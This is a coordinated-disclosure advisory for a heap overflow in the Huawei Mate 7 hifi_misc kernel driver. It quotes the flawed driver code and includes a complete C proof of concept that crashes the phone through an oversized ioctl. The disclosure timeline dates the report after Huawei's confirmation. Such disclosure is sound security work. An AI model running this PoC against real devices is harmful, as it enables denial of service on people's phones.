Summary
/dev/hifi_misc
module of Huawei Mate 7 smart phone has an input
check error, which allows the user-mode application to modify
kernel-mode memory data and maybe make system break down or
application elevate privilege.
Description
/dev/hifi_misc
is an interface for a user-mode application to
interact with kernel module of hisi chipset. It is very likely that
hifi_misc is related with hifi audio features. Seen from
drivers/hisi/hifidsp/hifi_lpp.c
, one could send messages to hifi’s
kernel module by invoking ioctl()
with HIFI_MISC_IOCTL_WRITE_PARAMS
:
static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
switch(cmd) {
[...]
case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
ret = hifi_dsp_write_param(arg);
break;
[...]
}
[...]
}
After ioctl()
, hifi_dsp_write_param()
is called with the parameter
directly passed from user-space:
int hifi_dsp_write_param(unsigned long arg)
{
int ret = OK;
phys_addr_t hifi_param_phy_addr = 0;
void* hifi_param_vir_addr = NULL;
CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
struct misc_io_sync_param para;
[...]
if (copy_from_user(¶, (void*)arg, sizeof(struct misc_io_sync_param))) { // arg --> para
loge("copy_from_user fail.\n");
ret = ERROR;
goto error1;
}
[...]
hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
if (NULL == hifi_param_vir_addr) {
loge("hifi_param_vir_addr ioremap fail\n");
ret = ERROR;
goto error2;
}
[...]
ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
if ( ret != 0) {
loge("copy data to hifi error! ret = %d", ret);
}
[...]
}
Parameter arg is a struct pointer points to user-space memory.
After initialization of hifi_dsp_write_param()
, user-space memory
pointed by arg is copied to para via copy_from_user()
. Without any
verification, all the member variables of para is fully controlled
by user-space application. The struct of para:
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
Next, a memory copy is invoked as copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in)
hifi_param_vir_addr
points to a kernel heap block allocated byioremap()
, regarded as the address of destination memory block. The size of the this heap block isSIZE_PARAM_PRIV
(equals to 200- 1024) bytes.
-
para.para_in
is a pointer controlled by user-space, regarded as the address of original memory block. para.para_size
is an unsigned int controlled by user-space, regarded as the size of original memory block.
Since there are not any verification of para_size
and para_in
, if para.para_size
is larger than 200*1024, say
300*1024`, a typical heap overflow is triggered. The source code of our poc:
/*
*
* HuaWei Mate7 hifi driver PoC
*
* Writen by pray3r<pray3r.z@gmail.com>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
int main(int arg, char **argv)
{
int fd;
void *in = malloc(300 * 1024);
void *out = malloc(100);
struct misc_io_sync_param poc;
poc.para_in = in;
poc.para_size_in = 300 * 1024;
poc.para_out = out;
poc.para_size_out = 100;
fd = open("/dev/hifi_misc", O_RDWR);
ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);
free(in);
free(out);
return 0;
}
Execute the crash_poc
will break down Huawei Mate 7. Be aware that
the poc should be executed under system or audio privilege, since /dev/hifi_misc
is only writable to audio and system user.
Impact
The Kernel will panic if para.para_size being set by a large vaule,
the smart phone will break down because of heap overflow inside
kernel space, the problem is very hard to gain root. Because
get_vm_area_node()
called ioremap()
[1], the function allocates
a guard PAGE_SIZE
page.
Thanks for Dan Rosenberg.[2]
Affected
Model : HUAWEI MT7-TL10
Version : MT7-TL10V100R001CHNC00B133
Android : 4.4.2
Kernel : 3.10.30-00015-g049a08f
Other models of Huawei smart phones with hisi chipset may also be affected.
Patch
More information:
http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm
Timelime
Sep 28 2015 - Report sent to Huawei PSIRT
Sep 10 2015 - Huawei confirmed the security issues
Nov 04 2015 - Huawei fixed and public the security issues
Nov 09 2015 - Assgined CVE number